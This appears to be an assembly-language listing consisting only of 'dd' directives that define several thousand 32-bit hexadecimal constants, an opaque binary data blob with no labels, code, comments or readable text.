dd 984A2FEDh, 14995882h, 5C1E784Fh, 80C49460h, 0F6BA42F1h
dd 7F00B189h, 0BE8FCAC7h, 387A333Fh, 8E1CE078h, 81A9B741h
dd 4320DAF0h, 76810E08h, 0F2D82243h, 40101A6Bh, 98CC113h
dd 9E300D44h, 182EAC11h, 503A048Fh, 325AABC4h, 0A66620B4h
dd 8E03073Bh, 0E4DFC5AAh, 14875CBh, 1DF26E17h, 20B3E251h
dd 0B01519B8h, 7FF4B760h, 4D004BF6h, 0F3B8181Eh, 2630559Fh
dd 7C446CCCh, 0F1B01D23h, 3C17E21Dh, 8C30D795h, 2A3A8980h
dd 448C9BC4h, 8100848Fh, 0B7EB993Ah, 0EE772122h, 0E8401CBBh
dd 0E879556Ah, 0A12D2909h, 2CF4CC30h, 0B1E13410h, 2C9C48E0h
dd 0DA9BAB03h, 7071FC7Ah, 0EC1514D0h, 970E90FAh, 0CBC0E51Ah
dd 0D843F5AEh, 18902671h, 98D0EB1Dh, 310F7C60h, 0D9183D7Fh
dd 0D4682569h, 2C1C1DB2h, 2340DC3Ch, 86A9C034h, 16E00F5h
dd 0ED9D16B9h, 0B00E675h, 85F1D91Ch, 18ECEE1Dh, 8090AC17h
dd 0FF1D05ADh, 6D5533Ah, 55F3014Ch, 0EF653879h, 0B60024h
dd 3EF0D735h, 5159742Dh, 0C3088566h, 917C21h, 15E766D7h
dd 8C5AC0B4h, 0C4902C9Ah, 0FE80C9ECh, 943402B1h, 9A7BF8D6h
dd 0F19694A0h, 7CAD42A6h, 8062DE08h, 1AFB9B56h, 2498B98Fh
dd 0E6E98D01h, 0B308D03Eh, 2A503882h, 0C14426h, 181F05C7h
dd 0C0287D0h, 0FADF9D8Bh, 515E08C8h, 4C64E660h, 64FDEBB9h
dd 0BC530856h, 393D004Ch, 0D85FF5E6h, 28A60236h, 7057E1Fh
dd 54679898h, 527923h, 3EC6D61Fh, 808576FDh, 0B5D73173h
dd 0CE045E83h, 74A82D40h, 42E61080h, 0BD6702FDh, 7632080Eh
dd 0BFFB4040h, 4526B506h, 0C8938Ch, 9CEFD3FDh, 6AF04FE8h
dd 405F8130h, 9258E16Fh, 9A15057Ch, 13A2FBC0h, 90B01090h
dd 18770450h, 29431469h, 9499335Bh, 580D2505h, 3ECDD843h
dd 68A4FAF8h, 0BA62F0CCh, 7B370540h, 0D016C4A2h, 592A7258h
dd 57562018h, 1E58920h, 0B505A183h, 8006148Ah, 9CBE50C9h
dd 0F83D5Ah, 0C0BC6E22h, 751EE843h, 0ADEB20C4h, 6583B481h
dd 2C08CA0Ch, 0C4C1E01Eh, 0F2224086h, 1AE15B2Ch, 802142D8h
dd 603BC804h, 10F5D736h, 0C874853Eh, 2E9680C7h, 49E8C9D7h
dd 0F0B4D301h, 0EEDF89D4h, 0A84F458h, 0BF1FE834h, 5021388h
dd 60DE98CCh, 7407E3CCh, 0F130CF65h, 0E7C5CC30h, 18BF6060h
dd 0F0E3262Bh, 77C592Eh, 91DBFC09h, 8E182DE8h, 0C4513A04h
dd 5CCB5873h, 3BA16D00h, 6A682AA5h, 0B2476605h, 0CC30D4E6h
dd 498B0273h, 46837898h, 0F8F785E6h, 8B77C2h, 45E64E84h
dd 6D18A298h, 0A9196CD9h, 0BD1600EBh, 1D8D377Eh, 47000310h
dd 0C4E16E45h, 0DE6F8022h, 0CFD44E8h, 0C18C50FBh, 0EC400463h
dd 381E020Ah, 0C9126936h, 71004CA0h, 84CAB879h, 85C08834h
dd 21C43E3Ah, 0B5915ABBh, 57C6800h, 0DDB1EE74h, 6090D4E2h
dd 0C0D82F55h, 64487F2Dh, 2CCEC62Ch, 2CE14978h, 56808488h
dd 52B12C96h, 8304935Eh, 94F9F883h, 10042958h, 5E0020DEh
dd 6C1DE58Ah, 0C93A2E2h, 5F801E06h, 911C3EC9h, 0DE09FA03h
dd 78B3574Eh, 78660CD2h, 0D7E1B709h, 3ED810B9h, 504324E8h
dd 0D8E30598h, 6F05672h, 18279FF0h, 6300FC8Ch, 180BF3E3h
dd 0E25F1E5h, 20E18A40h, 0B4904B69h, 980B63Ch, 0B1D10954h
dd 0BC9486E0h, 0D447FB26h, 0A6FFAC3h, 928FE879h, 9F560050h
dd 48B5065Dh, 0B611C490h, 4623796Bh, 0CAD61302h, 9942623Eh
dd 0AF10C0C4h, 7DF4D72Bh, 0DE529D00h, 2E0E1CE5h, 0CBF925F0h
dd 0C15D1007h, 3465FC32h, 2F1DA498h, 0C440479Eh, 0E3446790h
dd 87461028h, 544DD2Bh, 408AE14Ch, 4108D850h, 0F9CC41D9h
dd 1C41DEA7h, 9E185EFh, 4041F11Bh, 3C32BC51h, 1FE64074h
dd 4379FB9Eh, 6A620840h, 75649CB5h, 0E10BFFEEh, 21A48517h
dd 40B04248h, 0B87F8082h, 80A0BC65h, 61B57C85h, 0A61DEA00h
dd 0CCF7B8Eh, 0A3F60B9Fh, 0B0016A02h, 438FEF35h, 3CC9C49Eh
dd 4B6C6594h, 8853C4F4h, 75C42530h, 0DB83AC1h, 74261AF3h
dd 0BC569900h, 0C5EA28FCh, 5EE40206h, 30780D17h, 0E5C1415Ch
dd 0ACA5C378h, 826B820h, 96178CBh, 4070EF16h, 0A6B8A980h
dd 982851F0h, 6BD82920h, 0C18C08C8h, 80BCCD15h, 0E2DCDF56h
dd 0BAB0E607h, 818B0928h, 0CC8215A6h, 84414573h, 12386385h
dd 0AC627C1Ch, 98DC46FBh, 232A24B0h, 0E1AD8088h, 3FF83940h
dd 2CE124BAh, 2DF5B9C4h, 2F003D0Ch, 0C7D8A14Ah, 156068AFh
dd 0F0EDA77Ah, 0DA424509h, 0ECAFD418h, 32128079h, 68407E54h
dd 0B9619FFDh, 2AE70208h, 0E89579D1h, 28E12846h, 8C84B844h
dd 0D2487AFCh, 0B8407E6Ch, 48454D83h, 0FFD73700h, 112D4221h
dd 0E4DCA229h, 3EF3E080h, 9B87EDDh, 62A07ADAh, 81963804h
dd 425246F4h, 64C076A0h, 0DF809D84h, 0BC244922h, 0B1D1Ch
dd 4487C738h, 17186FD6h
dd 0E478D143h, 0D723634h, 18902148h, 18024546h, 153ECBD6h
dd 7012CD31h, 8354ECC0h, 0EAE1F00h, 7DD36452h, 166E27E8h
dd 235BC0A0h, 8140F94h, 1DBC77C2h, 50FA6FA6h, 9C915510h
dd 509C8025h, 0C1FF99E2h, 0AC4C0B10h, 0EE4C70C2h, 0E08B0331h
dd 80246668h, 9EBC2705h, 8991749Dh, 80C45784h, 0BDA32F60h
dd 0B64DF09Ah, 0B1C11FD4h, 0C708DD0h, 8F65A62Ah, 18ECDED9h
dd 9C0A2F77h, 0A0F4FB7Ch, 0B81A1E17h, 0C484C740h, 0FFD860C0h
dd 2B0F0366h, 8927F0EBh, 0A52D8112h, 2CE03C60h, 0B991E610h
dd 0C854C0CCh, 802AD92Ch, 4800885Ch, 4625178Fh, 0AE5CC8Eh
dd 0E81160E9h, 0CAE205ACh, 23A02FFFh, 3B9100B0h, 0F5E77B7h
dd 0BE7A1727h, 2D904364h, 0FC0C0A26h, 805E6709h, 0BE200F20h
dd 0DBE49EC1h, 0E120509Ch, 9E18CCEFh, 217CB134h, 2C6EB0B0h
dd 0E06C73F2h, 3AE2B5Ah, 5E0EC00h, 8B35CD07h, 642A5829h
dd 0CB2465D3h, 0CFB4C818h, 44684320h, 0D84C24E5h, 0DC5C0D0h
dd 14E12939h, 985E36F0h, 98F83D00h, 34C0E543h, 626DE06h
dd 75513288h, 426424A5h, 0C8D00084h, 0B5BE51F5h, 0A1EEEB7Ch
dd 720939C2h, 969C4180h, 50095066h, 52098FE6h, 8B7050B0h
dd 383E80h, 169A57E6h, 8A1319ADh, 48321D2Ah, 6FC29E04h
dd 0E08194C5h, 45008848h, 48B274DDh, 436A0301h, 7DB18963h
dd 119459A6h, 0E63D80C9h, 942C4482h, 45395888h, 538AE601h
dd 0E994DDFFh, 2C50A869h, 6F58442Eh, 0C450142Ah, 3C22A728h
dd 0D94F7AF0h, 0D805A456h, 2004BF47h, 17214EC2h, 0F32E1070h
dd 382F48F9h, 1F582093h, 0B900ED51h, 0D790C138h, 4B7AFB59h
dd 1F8026Bh, 70517C2Dh, 1F2CCF81h, 503CC9E0h, 2C9749B0h
dd 1EBFAA02h, 437A646Ah, 4A95A30h, 19FD0A0h, 969D22A6h
dd 11ED6852h, 0C0043891h, 0ACD0FF73h, 788700E0h, 14E126DFh
dd 9B0C0BCEh, 39EAC37Bh, 0A0FC0B50h, 20B2C66Fh, 0EABD440h
dd 5151FAE0h, 0C0142C8Ch, 1F80040Bh, 34930907h, 7C40ABE0h
dd 0F8051D85h, 0EBE5CEBFh, 0E554F449h, 60FAC460h, 0E0D03E9Dh
dd 68494A2h, 0D86E8220h, 465EF096h, 65C700C2h, 0FBCA4270h
dd 5722073Eh, 0B62BB337h, 0CE0029B4h, 4F40BA86h, 5392BDh
dd 0AC351C7Ch, 0F45F7A04h, 0CCB1C60Ch, 0A2B90A0h, 91F9F896h
dd 137A80E0h, 880FE3FDh, 8EE4C248h, 0A2D9E419h, 127144A0h
dd 57B20C69h, 583420D8h, 24EE4247h, 0DE8A1000h, 52C49020h
dd 0AB8005CEh, 8486B3E7h, 0CF8021CCh, 818ACDB1h, 6AF03A88h
dd 82188EBh, 41BCD860h, 0ECA088D9h, 0F0668294h, 0E4905802h
dd 0FA4C542Bh, 8A2E7008h, 0BF81C859h, 0B0349DC9h, 7724D8C2h
dd 2C209685h, 0C0467608h, 6306C404h, 170F480h, 9E247D74h
dd 0FD09F49Dh, 0A76C2048h, 0B1836D2Bh, 70C300C8h, 42D02E6h
dd 0B8143800h, 774B2693h, 0B7FAA4h, 12A91775h, 0CDA80EACh
dd 1E488DEEh, 0F95E08BCh, 960C098Ah, 3406CC89h, 0A62959FEh
dd 3A848032h, 0DCA4652Ah, 0FC150045h, 49569EDh, 8464BC6Ah
dd 0FC08718h, 58A2CC89h, 7F40026h, 418B0FF8h, 78890C45h
dd 98B83814h, 2531F022h, 92E8200Dh, 56278113h, 7BFB9402h
dd 965C504Fh, 0DB9D404Ch, 88021F6Dh, 2BF1A4C9h, 0F8D041F4h
dd 6527A182h, 34D077FCh, 14880F78h, 5F05E84Ch, 5BA0043Ch
dd 0C404A837h, 65059D60h, 0D934A06Ah, 2021C76Fh, 0A9985A39h
dd 4AC47721h, 3C3010F8h, 30241092h, 0A45AC582h, 0B48110F0h
dd 8AE4E0A5h, 0B8DDA8A8h, 9890F858h, 0A0B34880h, 5CCA6F08h
dd 0C92EF04Eh, 0BDFD0038h, 21D865E5h, 146810D4h, 7818CFD0h
dd 8158894h, 0BA0978B0h, 0C844F89Dh, 4D20E08Ch, 390458DEh
dd 88B277E8h, 0FA3E9664h, 0A0706278h, 7B6440C2h, 54B94DD9h
dd 82CF8C51h, 0E80500FBh, 812E0ADh, 80276A7Eh, 15D87770h
dd 10596CE9h, 575C6670h, 170B82F0h, 0C58481A4h, 71E60442h
dd 13E30908h, 497500Bh, 0D382FA91h, 8C86BDEh, 2500B93Fh
dd 0CF2373A3h, 91455C3h, 0DF20E60Bh, 4CF04449h, 3DEB6F94h
dd 0E66072CCh, 8218A759h, 0ADB40080h, 799DC33Fh, 6307205Dh
dd 771F9E1Ch, 0B0025025h, 4626C6BFh, 79662A94h, 2AC903B8h
dd 7CA5F64Dh, 0E5B4AE88h, 38D84E00h, 0B21B8D79h, 445A18B8h
dd 0E01C3888h, 0C45076FCh, 910F6FC4h, 7255568Bh, 8CBD856h
dd 308B75C4h, 7B6181DBh, 83CE12EEh, 30844140h, 0DC06C95Ch
dd 740248EBh, 60B194FBh, 124CF0B0h, 27B34E3h, 847D62C8h
dd 0F727E078h, 27BCA189h, 7B0387A3h, 9DB34EDCh, 0EC07E242h
dd 0C84C44C4h, 2BC0F3B8h, 464488E6h, 40513D1Ch, 0E6530087h
dd 4BBBBD79h, 9A07ADA2h, 0F890EA8h, 80C75A02h, 5FF0EB90h
dd 8D4496BBh, 5B90C486h, 13CCB20h, 0BC566CA8h, 8450202Ch
dd 32DA04CDh, 0D2577DA8h, 0F444E468h, 0F2EF502h, 484A5A08h
dd 5483C570h, 3A2B071h, 0A788D206h, 9FB9D014h, 200DDD7Ch
dd 815BBC3Ch, 0CDFC002h, 22A30EC8h, 18006314h, 84EA3A2Eh
dd 1D2D3632h, 0B29AA34h, 5810E2FBh, 90B40160h, 0F67C548Eh
dd 8D8818CBh, 6CBCB3C0h, 0B2E2015Ah, 71E022DAh, 48683757h
dd 0F8942260h, 0C1E02705h, 0B491201Dh, 0F2F00B80h, 89CF7A65h
dd 2F13A072h, 7142A16h, 69E16003h, 0D92B9150h, 5583C7Ch
dd 42F06F34h, 98BBCE0h, 0E4DACAE2h, 0FDC2A067h, 4E0016C7h
dd 0AA7578C3h, 7CE4FADh, 0A848311Bh, 7279F0D2h, 0D307D538h
dd 7A807BB6h, 8143B483h, 2082AC95h, 75B24EFDh, 83282090h
dd 0B1748BFCh, 25CA30C0h, 2C431D27h, 1BE485CFh, 219E08BFh
dd 26CDF01Ch, 0E9238F80h, 4E00F4Eh, 360BAA7Fh, 7DEAC772h
dd 0B8B1E728h, 0BDA57074h, 4AEC70Ch, 0C38F08A6h, 74C0C421h
dd 2E3216E8h, 7B84570Fh, 3A6BA6h, 648DBC39h, 78AA67B3h
dd 49C9410Eh, 0D41180A8h, 2AD33F0Ch, 3393981Eh, 0D708EE33h
dd 14EA2100h, 2A51603Fh, 0B2C3D9Dh, 61459A00h, 0C44069ADh
dd 22688A8h, 3C7FC720h, 1F0FE854h, 470E8096h, 79F83D0Ch
dd 2F1EC205h, 81C06B15h, 0C0B2C9D3h, 3FB0F268h, 0B8C17F30h
dd 0C83A3296h, 0E742C088h, 0A67E0CC1h, 405E74E1h, 828F2310h
dd 0BEB978h, 7AB45FB0h, 0F48268C1h, 6080E8FEh, 7F2F6AADh
dd 1807922Dh, 90C45EE5h, 0F001E4C5h, 798726FCh, 0FE24F840h
dd 0B81FE899h, 6F2A196Fh, 50AB78E8h, 1D09ADECh, 8598F863h
dd 35B91EB0h, 0FDD71FB2h, 0D4292070h, 60E07151h, 73304EEFh
dd 10D148E2h, 20B36091h, 7D966EF2h, 924678DFh, 151C7E6h
dd 0E723B61Ah, 527A446Eh, 8C23CF10h, 2E9100C6h, 219016B7h
dd 950099DEh, 39D86AC1h, 18D2AA48h, 288CF08Ah, 401C42BDh
dd 8EFC7728h, 2383C4A5h, 84B727h, 7EB54820h, 7FF7EF57h
dd 0EA04ACA9h, 0B3C8EC80h, 66609BFFh, 710E92D1h, 0CE97B28h
dd 0E7F17FCEh, 0E4A88D08h, 710716A5h, 284730FBh, 6FB07B07h
dd 182E2C3Fh, 808B5077h, 8D26F119h, 9003EEAh, 0F96FA42Bh
dd 70846228h, 10189C15h, 0E9221071h, 18ABE02Fh, 75210071h
dd 3B0BCCCh, 147E2402h, 19030D72h, 35FCB733h, 1849D072h
dd 0C0DE5109h, 4853CC02h, 12830B64h, 2E3C2F4h, 7E42A118h
dd 4103C048h, 7A107C4Ch, 0B9F288A8h, 73359809h, 91B8170Dh
dd 2CB180DBh, 188210DDh, 6995A3A9h, 0F8016E4Bh, 0F0512528h
dd 7AF14AB6h, 2B1048C6h, 51001B2h, 5A732802h, 2080251Fh
dd 28CB44Ch, 43112721h
dd 0D319862Fh, 26CA0410h, 7162C802h, 41DE75DAh, 0F69288h
dd 0C3D35D43h, 77BE7D01h, 0DB575A72h, 14490820h, 9CCC5C48h
dd 8532C400h, 2F2B77F7h, 0F85B3624h, 223B1507h, 1811B186h
dd 0F9A9F092h, 4C24472Bh, 0D300CC80h, 18438BE7h, 50D960F1h
dd 0AA297A73h, 4F48E8C6h, 0F5272078h, 0C7B7E0C8h, 4310E326h
dd 8B38679Ch, 0F380CEF1h, 9EF4DC22h, 0B9E8E051h, 3C90F5A8h
dd 3AF8AB48h, 0B2A24016h, 33EA00h, 0A3FD8F14h, 26B22010h
dd 3F2CC206h, 0CB87568h, 0CF0EF516h, 5F50B150h, 0F150927Ch
dd 47242D74h, 402470A8h, 4C2FC3E0h, 0FC18C09Eh, 90B530E4h
dd 40D04780h, 0FD181687h, 1F30D5B2h, 5AC6102Fh, 623271D7h
dd 8EE418C2h, 0CB81D188h, 44431B26h, 0EAF82C84h, 990326EAh
dd 36FE0E39h, 40C87BB1h, 9D7733D6h, 82F046E0h, 99C61470h
dd 41BE8Ch, 0EBDB7911h, 0D5CDD8AEh, 381A130Eh, 393FE0C7h
dd 0F4494A0h, 515C3DFh, 40985F07h, 83131AE3h, 433280A6h
dd 2A38F81Eh, 0CBA100C4h, 0D0E0427Ah, 0F1601CB0h, 8D1819F1h
dd 0FED30156h, 24684362h, 8A1422CCh, 0E340DCA3h, 0A944578h
dd 0B52D5D4Ch, 6D0A403Ch, 0A074DFEBh, 301C8658h, 0AD2A4139h
dd 0BC78C8C8h, 0E3591681h, 59808EA3h, 867ED75h, 5700426Eh
dd 92F41E70h, 1CFC2D0Dh, 24B79ACDh, 129CCA04h, 731C092Ch
dd 48436018h, 0C0D83430h, 0A0887183h, 0DEE51E84h, 0BE6302A0h
dd 0B860D2B3h, 11EFB96Dh, 110C9C14h, 0E9267098h, 0A4708037h
dd 79713B19h, 13183380h, 0D9AE47Bh, 767C8048h, 66D9D40h
dd 3BDE3D7h, 0F1025964h, 0EC7B3C9Ah, 0DEB8C0A6h, 0FF80C1B8h
dd 64F6AB1Eh, 0DD1809B8h, 0FB99C0CDh, 1A04869Bh, 0DFE8CC71h
dd 0E207B138h, 4CF86971h, 0E3636D40h, 856128CBh, 805465C8h
dd 3C8814EEh, 8275A182h, 0AAC6D040h, 0A70E7C99h, 0C22D6025h
dd 92B047CCh, 0B058AC98h, 2D0467Ch, 2ACC3F17h, 10D83126h
dd 5C3EFFE7h, 38184CA5h, 1B925088h, 2AF4BD4Ch, 836F84D7h
dd 0D1666C04h, 0E820A049h, 6C573F30h, 0DF001B5Ch, 41E9D70Ch
dd 93730B6Bh, 0CC623BF8h, 9ABB1C8h, 0BFD93C82h, 8003040Ah
dd 85B3C7D3h, 0E81DF463h, 8C17E925h, 3B08F44h, 3F8671E5h
dd 1AB04392h, 0A4B06AB9h, 0A5029828h, 0ACC5261Bh, 8DC81870h
dd 2AC270A4h, 9118471Ah, 9A48E3E8h, 2B20C089h, 69F60539h
dd 9D18322h, 78A1D888h, 84ABE492h, 7D2FA1F1h, 0D1238C90h
dd 926A1326h, 57F031E5h, 300EA48h, 0A2B08F2Dh, 833CC3CCh
dd 2CC1508Bh, 787E6127h, 9275A9A3h, 889A3550h, 2CFE34C0h
dd 8D50D76Ah, 0E97A34h, 0EF3B6EA1h, 0EB483100h, 61DCA858h
dd 71BE2EC8h, 829C0E04h, 4A1EA4A8h, 50701062h, 497A4CACh
dd 0A2305384h, 9C9E30D9h, 48D4090Ah, 7540A4DEh, 2E6EFE3Ch
dd 44B4ED33h, 0C13890FFh, 0B4AC42A0h, 0D8FA1A26h, 7FA0921Fh
dd 20D8B02Dh, 8C26B2B4h, 0A680D4C4h, 2A7ED442h, 3F60CBEBh
dd 6D0D6CA0h, 6124FD60h, 2F040492h, 0A0108E3Ch, 5087FFA1h
dd 6C09D2D4h, 16738912h, 49D45C49h, 3024E3C4h, 24174CBDh
dd 5756FF82h, 0A3527058h, 68AC02D4h, 82F13B27h, 1BB8074h
dd 287B26E9h, 0A0FA2C34h, 78883FE1h, 0E8882421h, 0CB02B312h
dd 0E881B477h, 4C92F120h, 0D22AF4A8h, 4DAC808Ch, 0BA670EE6h
dd 4963FF19h, 0AEF0F043h, 0BF4881A2h, 0C1700804h, 0C3370AC0h
dd 0CBEE0880h, 0C28C1E83h, 193809E4h, 6C21C598h, 827EF02Fh
dd 67AE0D91h, 8100E08Fh, 34BA0426h, 0A090BC77h, 0D814D6A8h
dd 0F120CEFAh, 0E41963BBh, 2C93D4AAh, 0B83F1300h, 86E0062Ah
dd 0FF3CF44h, 39CD3EFBh, 0CAAF9AA0h, 0A7FCD076h, 40805CB1h
dd 339FEC8h, 0A8380FA4h, 803D8F19h, 2AA5C242h, 2C39CD6Ah
dd 3C842E77h, 0BD183281h, 0E8507004h, 131310BBh, 4E202D05h
dd 81BD01B0h, 412EA0D1h, 0E2DC2371h, 3BAC308Ch, 4BBBF404h
dd 90CCFD03h, 0F3F8A1FAh, 1840E412h, 0EC96BAD1h, 76903F9Eh
dd 9F25FE07h, 0DA310284h, 0B60E88Fh, 59078BFDh, 602764B0h
dd 2B1C16DCh, 182C9BFEh, 0B52C7881h, 0BC672286h, 9831344Bh
dd 2098ABD6h, 0A95F4189h, 82256C93h, 20592480h, 8ECB5A72h
dd 3F09449Ah, 21C88C81h, 0F37D08D8h, 42DB530h, 0CB856CF1h
dd 0B0B8C849h, 0DB327C00h, 29F61C5Eh, 869B0B36h, 88F73AEDh
dd 780D8851h, 0A0269896h, 0E2E10FF1h, 60E8F848h, 0A4AB3124h
dd 0F0BB2A3Ah, 0B244F090h, 5A6C9CB0h, 0CF565820h, 8B0ACC45h
dd 84D8D7DAh, 0E5A4208h, 0BFC92CDCh, 628BB402h, 92A380A3h
dd 35DA9100h, 0F7F28852h, 0A42A009Fh, 4D832E90h, 2DEC32B1h
dd 0F267BF6h, 0DC5158FFh, 14C8115h, 81C0C9Ch, 0FE92671h
dd 0A7408EC4h, 0D21471E4h, 1B007198h, 0C15015D4h, 4C874F68h
dd 0E9844CE2h, 0B1442B5h, 0A8284123h, 90A5824h, 0DE1A2D7Dh
dd 804340A3h, 12CD14Ch, 0D0494588h, 0F188DA8Ah, 758093A2h
dd 0E97F6DE6h, 0FBC50079h, 0F487B615h, 0ABFC643Ch, 0B4DD1014h
dd 0A4B828B4h, 30235744h, 3891AA49h, 1090EA63h, 3AB62A0Bh
dd 73F80416h, 914A5C92h, 60E840CCh, 7AA348A0h, 13205F17h
dd 25D44204h, 707A6EE7h, 10F2F889h, 13A97033h, 5FB6AEDh
dd 88C52994h, 9557FFE8h, 0A37CE3BCh, 61E8F8DCh, 227230C7h
dd 65661AD8h, 595FE00h, 4C03386Eh, 0CEC7C76h, 1F174F5Bh
dd 0BBF05620h, 31F04D30h, 129770Ch, 8A8675C3h, 985E6D69h
dd 31210408h, 7C292C6Fh, 0FD00388Ch, 0F137D1FBh, 23714DACh
dd 6C2C1200h, 951BA9E8h, 1AF21477h, 0D7008BDBh, 20FE86AFh
dd 500D966h, 0ACF0B96Ah, 0C06D3AD2h, 21EAEF98h, 6B047825h
dd 126FB779h, 396594C0h, 0E9720648h, 203B3622h, 7D8EEC05h
dd 203C3FB5h, 40F465Eh, 493E22EFh, 3B87C10h, 0DFB5008Ch
dd 0DEE7473Fh, 9E032D98h, 0EF26A52Ah, 0F09CEFA9h, 6265F282h
dd 4CCD91FBh, 0D05E3880h, 790CD3ECh, 263C8A6Fh, 2036608Dh
dd 7E2BD777h, 25EB90A0h, 7F9FFC0Ch, 604ED865h, 0E1660873h
dd 7479EE6Eh, 159F5F00h, 0B2279C02h, 0CF750CE9h, 0BF407DEFh
dd 9D71EE00h, 2F27A5Dh, 9A49C076h, 861BD335h, 37C68E01h
dd 0CDA3E355h, 15670F4h, 2BF02D9Bh, 83BF8575h, 0EE226FB0h
dd 15A11248h, 0B61848D1h, 0BE2972C0h, 225E4675h, 0A0319002h
dd 314BA276h, 3C9724Fh, 0F154ECBFh, 560D938h, 4D970C53h
dd 66849000h, 0DE1DD4BBh, 0C43A0040h, 0DAA34B28h, 9BF0890Ch
dd 0C03108AAh, 28BC6021h, 0C3301A7h, 0E0D0A0C5h, 0C26A023Ch
dd 0AFBD86F9h, 10A90040h, 9E71E33h, 0A621007Dh, 2B8DAFB5h
dd 0CF312255h, 71038827h, 0EEB92180h, 0D3635CCh, 389D5F00h
dd 0C79F79C8h, 130905Eh, 0A428FF1Fh, 80FE4E91h, 0C186C2F9h
dd 73178BAh, 0DB1D8A2Dh, 90375799h, 6A9E3CC6h, 9A02EF09h
dd 1B10273Dh, 2389EEC0h, 9249075h, 195AFB43h, 20BBA80Fh
dd 13ED823h, 0EF74AFBFh, 0A8010EB9h, 9D9AFB7h, 67AC40C0h
dd 0E72479EEh, 659E5485h, 0AA221062h, 2BD4502Fh, 79748344h
dd 80B4A870h, 7A3006F1h, 0F85D469Fh, 0C03F90C8h, 0EF75AFC0h
dd 0CE9DC143h, 9040AFB8h, 23A53705h, 0E0C16F7Ch, 7A0F81F0h
dd 0BB1898B1h, 1D4E0113h, 2BD5A851h, 0C7468983h, 6E3AD430h
dd 7C1B80B8h, 27C1E256h, 0B1EE2Fh, 11A2EAF3h, 29D56B7Bh
dd 0E60739C0h, 0B7382Bh, 0B4D06D8Dh, 8BE04099h, 3CC2C402h
dd 4877EE29h, 0C0F34D50h
dd 0BA803779h, 291B8495h, 0E021F075h, 604F6A46h, 0AC08116Dh
dd 0F51F06AFh, 1BCC3169h, 46D8170h, 605C1FDCh, 5BF88333h
dd 0E3D81950h, 4418E41h, 0A0054D1Ah, 3D60EA22h, 0F6D45269h
dd 0B3D535AFh, 0BA9008C9h, 4A28C3C0h, 80D243A3h, 2B28BB5Fh
dd 133B713Dh, 24839CFCh, 678032Ch, 1E8B78D9h, 4390CE80h
dd 50D0830Eh, 74AB00A4h, 0E2AFEFC1h, 0C0B0C269h, 98E2A1EEh
dd 0EBA3D800h, 2E07E3ECh, 0E7A9686Ch, 281B193Ch, 13E402BBh
dd 50A1A264h, 37B86048h, 0B7D1008Ch, 3C1A0F40h, 61288CE6h
dd 792BA8C6h, 0F2119C41h, 41A7697Dh, 86BF080Fh, 0C082ABB7h
dd 0B2222498h, 0EA291537h, 1B0184B5h, 45EBA73Eh, 0CFD09FE4h
dd 694E7106h, 4B850021h, 68EEC5DDh, 0E6336A3Eh, 800830h
dd 0DD43AC21h, 7F1E076h, 59F47700h, 0A988B72Bh, 26BC928Fh
dd 40E84F73h, 0AFBC1C27h, 3B525D00h, 38FBE77Fh, 5CC448DAh
dd 0FEF323C2h, 0F26C1AE0h, 0A4D0712Ah, 13409A09h, 11989D3Dh
dd 1B809E36h, 0F3BFCB3h, 9C82087Ch, 8E807503h, 6669E907h
dd 0E4480060h, 26BF4323h, 0A600B45Eh, 5625A082h, 0A8E91C19h
dd 6DCBFCh, 0EBA823FBh, 15CE1AFh, 879264B1h, 123828h, 93AB6476h
dd 0C16C46C7h, 315E390Fh, 2835C09Eh, 18A34356h, 0F8ED2B23h
dd 0A5094BC4h, 3171EF3Dh, 0BE18B524h, 0A3452808h, 4035C4AAh
dd 8F28B65Ah, 22960779h, 0B005F3A8h, 0F9509B52h, 68503C60h
dd 67695781h, 54CB6177h, 74E882F0h, 0BD308529h, 0B0798098h
dd 96752E70h, 7133701Ch, 0EEF62903h, 0B967436Ch, 60858D97h
dd 41D8FC19h, 55EE24A0h, 6444FABAh, 0A7D8F845h, 3D9CBA43h
dd 3324228Fh, 0CFEB055Ch, 1FB440EDh, 79D69CE5h, 0A782641Ah
dd 0E6B0C061h, 5C89FCADh, 0C00C1B2Fh, 1661725Ah, 0B9D0238Bh
dd 0C1299C3Fh, 88876D1h, 29402F9Eh, 0B84F4127h, 73523F8Bh
dd 2BB7E262h, 0C61686Ah, 4418604Ch, 1CC3A63Ch, 0CE893F7Bh
dd 0AC002AE5h, 0E04C77DEh, 96300D3h, 0FAEFBFFDh, 0A0B24A11h
dd 26F1D0Bh, 91B8987Eh, 20E4A22h, 70F6C18h, 1B43ECC0h
dd 2C90CB7Fh, 0D3A98E0Bh, 14882A81h, 242490A0h, 203C70E8h
dd 0A9EE0AE4h, 43DC895Fh, 4015F0A6h, 48CF94Dh, 23BF1422h
dd 86E6B380h, 0B05F02DAh, 63A7780Eh, 5EC5CCE8h, 66127001h
dd 6A687175h, 0E9F3A501h, 72943408h, 0A381877Dh, 94EE6460h
dd 90CA0A8h, 41E9751Ch, 0B7ED7C20h, 60D87F63h, 4A3E2730h
dd 23EC3AC1h, 0ACEC0002h, 0EBB81B1Ch, 0F375EA13h, 58C7A824h
dd 34046875h, 61F387Ah, 1874239Fh, 0CE1A6F09h, 0EA50253Fh
dd 3DE26C81h, 17DA7700h, 0D7703005h, 30D79467h, 239DF5A0h
dd 0E80D65AFh, 0B6948165h, 1E3086B8h, 1C80F43Eh, 0A84F71EEh
dd 3A70AC0h, 2CC996Fh, 0BE75C064h, 87639083h, 0DA1A2002h
dd 9E6D3C7Ch, 965E2320h, 8B816602h, 3168C483h, 74902056h
dd 30326Eh, 78312529h, 2E5FF1DAh, 3E905955h, 8447A24h
dd 52002A7Dh, 4D9423D2h, 7E1E31Bh, 0A7848A8h, 0F522FBA5h
dd 23250208h, 0DC0AF79Fh, 81B1BB1Ch, 19859EFBh, 81DACEAh
dd 0EC2EEC90h, 22208060h, 138C98F9h, 11BEBCEh, 29096DE0h
dd 32C77150h, 0AC79C874h, 20631DB8h, 7B479A1Fh, 4F63EC6Eh
dd 38294D6Eh, 0B5BD019Dh, 2493AF17h, 0FF025F4h, 0F0CB5F2Ch
dd 0DC904C20h, 6C193728h, 3199562h, 1F04C874h, 125100AFh
dd 253C9D78h, 8D13A234h, 0F0655436h, 206DC882h, 57D7F5C5h
dd 0C7121C92h, 4C40FB4Dh, 3FCD5A1Fh, 1FB4F658h, 0C3D33B64h
dd 0CCA76C60h, 0C61030FFh, 74C722Ch, 4068528Ch, 0B2423C8h
dd 3C48B01Dh, 0B0041A12h, 6D001B87h, 5ABE18E3h, 58518D40h
dd 5A640414h, 4F94A043h, 6CA97065h, 9034FA01h, 0A0F75A9Ch
dd 5E76A50h, 879D4F3Fh, 20E8C7B7h, 0EF1B5716h, 3481EA13h
